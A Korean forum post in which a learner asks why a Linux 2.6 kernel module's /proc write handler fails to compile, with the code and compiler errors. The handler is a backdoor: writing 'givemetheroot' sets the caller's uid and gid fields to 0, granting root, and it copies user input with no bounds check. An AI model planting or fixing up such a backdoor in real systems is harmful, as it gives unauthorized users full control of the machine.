컴파일 요류가 납니다!! 좀 도와주세요.

애러가 나는 부분은 아래와 같으며, current 를 참조하는 부분에서 컴파일 애러가 납니다.
커널은 2.6.24.7 이며 어플리케이션 소스입니다.

static int my_write( struct file *file, const char *buffer, unsigned long count, void *data )
{
  char *kernel_data;
 
  kernel_data = (char*)data;
  copy_from_user( kernel_data, buffer, count );
 
  if( strnicmp( kernel_data, "givemetheroot", 13 ) == 0 )
  {
    current->uid = 0;
    current->euid = 0;
    current->gid = 0;
    current->egid = 0;
    current->suid = 0;
    current->sgid = 0;
    current->fsuid = 0;
    current->fsgid = 0;
    printk( KERN_ALERT "[Message] Now, you've got the root!\n" );
  }
 
  return count;
}

=> 오류내용
CC [M] /kokopam/trymp/app/chap06/2.6/fun_proc.o
/kokopam/trymp/app/chap06/2.6/fun_proc.c: In function 'my_write':
/kokopam/trymp/app/chap06/2.6/fun_proc.c:20: error: dereferencing pointer to incomplete type
/kokopam/trymp/app/chap06/2.6/fun_proc.c:21: error: dereferencing pointer to incomplete type
/kokopam/trymp/app/chap06/2.6/fun_proc.c:22: error: dereferencing pointer to incomplete type
/kokopam/trymp/app/chap06/2.6/fun_proc.c:23: error: dereferencing pointer to incomplete type
/kokopam/trymp/app/chap06/2.6/fun_proc.c:24: error: dereferencing pointer to incomplete type
/kokopam/trymp/app/chap06/2.6/fun_proc.c:25: error: dereferencing pointer to incomplete type
/kokopam/trymp/app/chap06/2.6/fun_proc.c:26: error: dereferencing pointer to incomplete type
/kokopam/trymp/app/chap06/2.6/fun_proc.c:27: error: dereferencing pointer to incomplete type

지금 커널 드라이버를 공부중인데 왜 오류가 나는지 모르겠습니다.

고수님들의 조언 부탁드립니다.